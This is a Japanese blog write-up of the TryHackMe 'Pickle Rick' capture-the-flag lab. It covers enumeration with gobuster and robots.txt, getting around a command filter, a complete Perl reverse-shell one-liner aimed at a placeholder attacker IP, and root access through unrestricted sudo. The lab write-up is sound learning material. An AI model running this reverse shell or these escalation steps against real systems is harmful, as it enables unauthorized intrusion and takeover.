こさろぐ

岡山のエンジニア雑記

TryHackMe Pickle Rick writeup

Pickle Rickのwriteupです。

tryhackme.com

What is the first ingredient that Rick needs?

まずWebサイトを開いてみます。
指示されているWeb ページは何の変哲もないページですが、ソースにusernameの記載が見つかりました。

次に、robots.txtに怪しい文字列の記載があることが分かりました。

対象のIPに対してgobusterでファイルのスキャンをかけてみます。

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x html,php,txt

login.phpなどが見つかりました。

login.phpにアクセスし、先ほど見つかったusernameとrobots.txtに書かれていた文字列を入れてみます。

通ったようです。

コマンドが打てる画面のようです。
ここでlsを叩くと、一番上に怪しいファイルが表示されます。

で、cat コマンドを打ってみると・・・受けつけられません。
head、tail、viewなどのコマンドも通りませんでした。
ファイルの表示を防ぐための対策のようですね。
そこで、lessを打ってみました。出てきました!これがfirst ingredientですね。

What is the second ingredient in Rick’s potion?

シェルコマンドが打てることが分かったので、リバースシェルを獲得できるか試してみます。
まずローカルで待ち構える。

次に、ターゲットマシンからリバースシェルを。 ここでは、チートシートを参考に下記のコマンドを実行しました。

perl -e 'use Socket;$i="<ローカルIP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

リバースシェルを獲得できました!

その後、ディレクトリを探し回ってみると、/home/rickに怪しいファイルがあります。
これで2番目の解答をGetできます。

What is the last and final ingredient?

sudo -lで使えそうなコマンドを探します。

なんとまさかの全部OKなようです。

ということで、rootの下をsudo で見てみると3番目と思われるファイルが見つかり、 あっけなくゲットできました。

sudoがフルオープンというのもなかなか強烈ですね。。。